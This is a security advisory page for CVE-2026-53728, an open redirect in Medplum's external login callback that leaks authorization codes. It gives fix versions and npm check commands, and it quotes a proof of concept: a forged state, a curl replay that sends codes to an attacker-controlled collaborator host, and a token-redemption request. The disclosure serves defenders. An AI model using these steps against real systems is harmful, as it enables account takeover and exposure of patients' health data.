CVE-2026-53728: Medplum Improper Validation Of Redirect URI Vulnerability

HIGH
Advisory Identifier: GHSA-m44r-7c5h-m6mj
CVSS 7.1
CWE-601 CWE-345
Published
Advisory Summary

CVE-2026-53728 is a HIGH (CVSS 7.1) improper validation of redirect uri vulnerability (CWE-601: URL Redirection to Untrusted Site ('Open Redirect')) affecting Medplum libraries in the npm ecosystem. The issue involves improper validation of redirect uri in external auth callback allows authorization code leakage. Remediation is available by upgrading affected packages to version 5.1.6.

CVE-2026-53728 at a Glance

CVE Identifier CVE-2026-53728
GHSA Identifier GHSA-m44r-7c5h-m6mj
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Affected Product Medplum
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-53728

To remediate this vulnerability, upgrade all affected Medplum dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@medplum/core fixed: 5.1.6
npm install @medplum/core@5.1.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @medplum/core

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-53728, inspect your project dependencies using npm:

npm ls @medplum/core

Analyze the terminal output to locate any version of Medplum in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.1.6), your application is affected.

Note: The npm ls @medplum/core command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect'), where the web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. In Medplum, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The external identity provider callback at `GET /auth/external` accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum `login` and `code` values to that attacker-supplied URL and issues a redirect. Because the external login request `state` is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with `state.redirectUri` can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak. ## Technical Explanation The vulnerable flow is exposed on the unauthenticated callback route `GET /auth/external`. In `externalCallbackHandler()`, the server parses the external auth `state` and uses the decoded `clientId` and `redirectUri` after completing the IdP code exchange. If login succeeds and a client is found, the handler calls: - `getClientRedirectUri(client, body.redirectUri, true)` The third argument explicitly enables partial matching. In `getClientRedirectUri()`, the function returns the attacker-supplied `requestedUri` whenever: - `requestedUri.startsWith(uri)` As a result, any redirect URI beginning with a registered value is accepted. The returned URL is then passed into `new URL(redirectUri)`, and the server appends `login` and `code` query parameters before calling `res.redirect()`. Although `externalCallbackHandler()` later performs an exact-match lookup, that result is only used for logging and does not block the redirect. Therefore, the request is still redirected to the attacker-controlled URL even when it is not an exact registered redirect URI. A practical exploitation detail is that the registered redirect URI must be a prefix that can also prefix a different origin. For example: - Registered: `http://callback.audit.local` - Malicious: `http://callback.audit.local.oastify.com/cb` The client-side external auth flow serializes the login request directly into the IdP `state` as JSON, which makes tampering straightforward in an intercepted or manually crafted authorization request. ## Steps to Reproduce ### Preconditions - The target `ClientApplication` has an `identityProvider` configured. - The target client has a registered redirect URI that is prefix-matchable into an attacker-controlled hostname, for example: - Registered redirect URI: `http://callback.audit.local` - The attacker controls a collaborator endpoint such as: - `https://<collaborator-host>/cb` - The attacker uses a forged `state.redirectUri` that starts with the registered value, for example: - `http://callback.audit.local.oastify.com/cb` - or a collaborator domain that matches your local proof setup ### Example forged state `{"clientId":"<medplum-client-id>","redirectUri":"http://callback.audit.local.oastify.com/cb","codeChallenge":"attack-verifier-123","codeChallengeMethod":"plain"}` **URL-encode the forged state** ``` python3 - <<'PY' import json, urllib.parse state = { "clientId": "<medplum-client-id>", "redirectUri": "http://callback.audit.local.oastify.com/cb", "codeChallenge": "attack-verifier-123", "codeChallengeMethod": "plain", } print(urllib.parse.quote(json.dumps(state, separators=(',', ':')))) PY ``` **Replay the external callback with cURL** Use a valid IdP authorization code obtained from a normal external login flow, then call the vulnerable callback directly: `curl -i 'http://api.audit.local:8103/auth/external?code=<valid-idp-code>&state=<URLENCODED_FORGED_STATE>` Expected result The response is a 302 redirect to the attacker-controlled endpoint, including Medplum authorization artifacts in the query string: ``` HTTP/1.1 302 Found Location: http://callback.audit.local.oastify.com/cb?login=<login-id>&code=<medplum-auth-code> ``` **Collaborator proof** If redirectUri points to a Burp Collaborator, Interactsh, or another attacker-controlled HTTP endpoint, that service receives the inbound request containing the leaked code in the query string. This demonstrates that Medplum is willing to forward authorization artifacts to an attacker-controlled destination when state.redirectUri only prefix-matches a registered client redirect URI. **Optional impact validation** If the attacker supplied the PKCE verifier in the forged state, the leaked Medplum code can then be redeemed: ``` curl -i -X POST 'http://api.audit.local:8103/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=authorization_code&code=<medplum-auth-code>&code_verifier=attack-verifier-123' ``` ## Impact The impact of this vulnerability is Critical, as it facilitates a full Account Takeover (ATO) of any user utilizing the external identity provider (IdP) flow. 1. Full Account Takeover (ATO): An attacker can successfully intercept the Medplum authorization 'code'. Because the attacker controls the 'state' object, they can provide their own PKCE 'code_challenge'. This allows the attacker to redeem the stolen code for a valid access token without knowing the victim's original secret, leading to total session hijacking. 2. Bypassing Modern OAuth Protections: This flaw explicitly bypasses the security benefits of PKCE (Proof Key for Code Exchange). By allowing an attacker to inject their own PKCE parameters into the tampered state, the server's verification mechanism is rendered useless against this specific redirection attack. 3. Cross-Origin Data Leakage: The 'startsWith' logic allows an attacker to break out of the intended origin. For example, a registered URI for 'https://app.medplum.com' could be extended to 'https://app.medplum.com.attacker.com', tricking the user and the browser's security model into sending sensitive credentials to an external host. 4. Access to Sensitive Healthcare Data (PHI): Given Medplum's role as a healthcare platform, a successful compromise grants the attacker the same permissions as the victim, potentially exposing Protected Health Information (PHI) and violating HIPAA or other regulatory compliance standards. 5. Victim Trust Exploitation: The attack occurs during a legitimate login flow. The victim interacts with the official Medplum server and their trusted IdP (e.g., Google or Microsoft), making the final redirection to the attacker-controlled URL nearly impossible for an average user to detect. ## Mitigation - Require exact string equality for redirect URIs. - Bind external auth state to a server-side session or use a HMAC/Signature. - Reject prefixable or ambiguous redirect URI shapes during registration.

CVE-2026-53728 Affected Medplum Versions

1 component(s)
Fixed Versions:
5.1.6
Product / Package Ecosystem Affected Versions Fixed Version
@medplum/core
npm
< 5.1.6
5.1.6

References

Frequently Asked Questions

What is CVE-2026-53728?
CVE-2026-53728 is a security vulnerability in Medplum involving Improper Validation of Redirect URI in External Auth Callback allows Authorization Code Leakage under CWE-601: URL Redirection to Untrusted Site ('Open Redirect').
Which Medplum versions are affected?
Affected versions include releases prior to 5.1.6 across affected packages: @medplum/core.
What version fixes CVE-2026-53728?
Upgrading to 5.1.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @medplum/core affected?
Yes, @medplum/core is affected in releases prior to 5.1.6. Upgrade your dependency to 5.1.6 or later.
What is the CVSS score of CVE-2026-53728?
CVE-2026-53728 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2026-53728?
CVE-2026-53728 is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.).
How can I check npm dependencies for CVE-2026-53728?
Run the dependency tree command: 'npm ls @medplum/core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m44r-7c5h-m6mj",
  "modified" : "2026-08-17T13:36:17Z",
  "published" : "2026-08-17T13:36:17Z",
  "aliases" : [ "CVE-2026-53728" ],
  "summary" : "Medplum: Improper Validation of Redirect URI in External Auth Callback allows Authorization Code Leakage",
  "details" : "## Summary\n\nThe external identity provider callback at `GET /auth/external` accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum `login` and `code` values to that attacker-supplied URL and issues a redirect.\n\nBecause the external login request `state` is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with `state.redirectUri` can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak.\n\n## Technical Explanation\n\nThe vulnerable flow is exposed on the unauthenticated callback route `GET /auth/external`.\n\nIn `externalCallbackHandler()`, the server parses the external auth `state` and uses the decoded `clientId` and `redirectUri` after completing the IdP code exchange. If login succeeds and a client is found, the handler calls:\n\n- `getClientRedirectUri(client, body.redirectUri, true)`\n\nThe third argument explicitly enables partial matching. In `getClientRedirectUri()`, the function returns the attacker-supplied `requestedUri` whenever:\n\n- `requestedUri.startsWith(uri)`\n\nAs a result, any redirect URI beginning with a registered value is accepted. The returned URL is then passed into `new URL(redirectUri)`, and the server appends `login` and `code` query parameters before calling `res.redirect()`.\n\nAlthough `externalCallbackHandler()` later performs an exact-match lookup, that result is only used for logging and does not block the redirect. Therefore, the request is still redirected to the attacker-controlled URL even when it is not an exact registered redirect URI.\n\nA practical exploitation detail is that the registered redirect URI must be a prefix that can also prefix a different origin. For example:\n\n- Registered: `http://callback.audit.local`\n- Malicious: `http://callback.audit.local.oastify.com/cb`\n\nThe client-side external auth flow serializes the login request directly into the IdP `state` as JSON, which makes tampering straightforward in an intercepted or manually crafted authorization request.\n\n## Steps to Reproduce\n\n### Preconditions\n\n- The target `ClientApplication` has an `identityProvider` configured.\n- The target client has a registered redirect URI that is prefix-matchable into an attacker-controlled hostname, for example:\n  - Registered redirect URI: `http://callback.audit.local`\n- The attacker controls a collaborator endpoint such as:\n  - `https://<collaborator-host>/cb`\n- The attacker uses a forged `state.redirectUri` that starts with the registered value, for example:\n  - `http://callback.audit.local.oastify.com/cb`\n  - or a collaborator domain that matches your local proof setup\n\n### Example forged state\n\n`{\"clientId\":\"<medplum-client-id>\",\"redirectUri\":\"http://callback.audit.local.oastify.com/cb\",\"codeChallenge\":\"attack-verifier-123\",\"codeChallengeMethod\":\"plain\"}`\n\n**URL-encode the forged state**\n\n```\npython3 - <<'PY'\nimport json, urllib.parse\nstate = {\n  \"clientId\": \"<medplum-client-id>\",\n  \"redirectUri\": \"http://callback.audit.local.oastify.com/cb\",\n  \"codeChallenge\": \"attack-verifier-123\",\n  \"codeChallengeMethod\": \"plain\",\n}\nprint(urllib.parse.quote(json.dumps(state, separators=(',', ':'))))\nPY\n```\n\n**Replay the external callback with cURL**\nUse a valid IdP authorization code obtained from a normal external login flow, then call the vulnerable callback directly:\n`curl -i 'http://api.audit.local:8103/auth/external?code=<valid-idp-code>&state=<URLENCODED_FORGED_STATE>`\n\nExpected result\nThe response is a 302 redirect to the attacker-controlled endpoint, including Medplum authorization artifacts in the query string:\n\n```\nHTTP/1.1 302 Found\nLocation: http://callback.audit.local.oastify.com/cb?login=<login-id>&code=<medplum-auth-code>\n```\n\n**Collaborator proof**\nIf redirectUri points to a Burp Collaborator, Interactsh, or another attacker-controlled HTTP endpoint, that service receives the inbound request containing the leaked code in the query string. This demonstrates that Medplum is willing to forward authorization artifacts to an attacker-controlled destination when state.redirectUri only prefix-matches a registered client redirect URI.\n\n**Optional impact validation**\nIf the attacker supplied the PKCE verifier in the forged state, the leaked Medplum code can then be redeemed:\n\n```\ncurl -i -X POST 'http://api.audit.local:8103/oauth2/token' \\\n  -H 'Content-Type: application/x-www-form-urlencoded' \\\n  --data 'grant_type=authorization_code&code=<medplum-auth-code>&code_verifier=attack-verifier-123'\n```\n\n## Impact\n\nThe impact of this vulnerability is Critical, as it facilitates a full Account Takeover (ATO) of any user utilizing the external identity provider (IdP) flow. \n\n1. Full Account Takeover (ATO): \nAn attacker can successfully intercept the Medplum authorization 'code'. Because the attacker controls the 'state' object, they can provide their own PKCE 'code_challenge'. This allows the attacker to redeem the stolen code for a valid access token without knowing the victim's original secret, leading to total session hijacking.\n\n2. Bypassing Modern OAuth Protections: \nThis flaw explicitly bypasses the security benefits of PKCE (Proof Key for Code Exchange). By allowing an attacker to inject their own PKCE parameters into the tampered state, the server's verification mechanism is rendered useless against this specific redirection attack.\n\n3. Cross-Origin Data Leakage: \nThe 'startsWith' logic allows an attacker to break out of the intended origin. For example, a registered URI for 'https://app.medplum.com' could be extended to 'https://app.medplum.com.attacker.com', tricking the user and the browser's security model into sending sensitive credentials to an external host.\n\n4. Access to Sensitive Healthcare Data (PHI):\nGiven Medplum's role as a healthcare platform, a successful compromise grants the attacker the same permissions as the victim, potentially exposing Protected Health Information (PHI) and violating HIPAA or other regulatory compliance standards.\n\n5. Victim Trust Exploitation:\nThe attack occurs during a legitimate login flow. The victim interacts with the official Medplum server and their trusted IdP (e.g., Google or Microsoft), making the final redirection to the attacker-controlled URL nearly impossible for an average user to detect.\n\n## Mitigation\n- Require exact string equality for redirect URIs.\n- Bind external auth state to a server-side session or use a HMAC/Signature.\n- Reject prefixable or ambiguous redirect URI shapes during registration.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@medplum/core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.1.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.1.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/medplum/medplum/security/advisories/GHSA-m44r-7c5h-m6mj"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/medplum/medplum/pull/8749"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/medplum/medplum/commit/7ae10035ddadde4dba7b18d3156553940465b3a1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/medplum/medplum"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/medplum/medplum/releases/tag/v5.1.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-345", "CWE-601" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-17T13:36:17Z",
    "nvd_published_at" : null
  }
}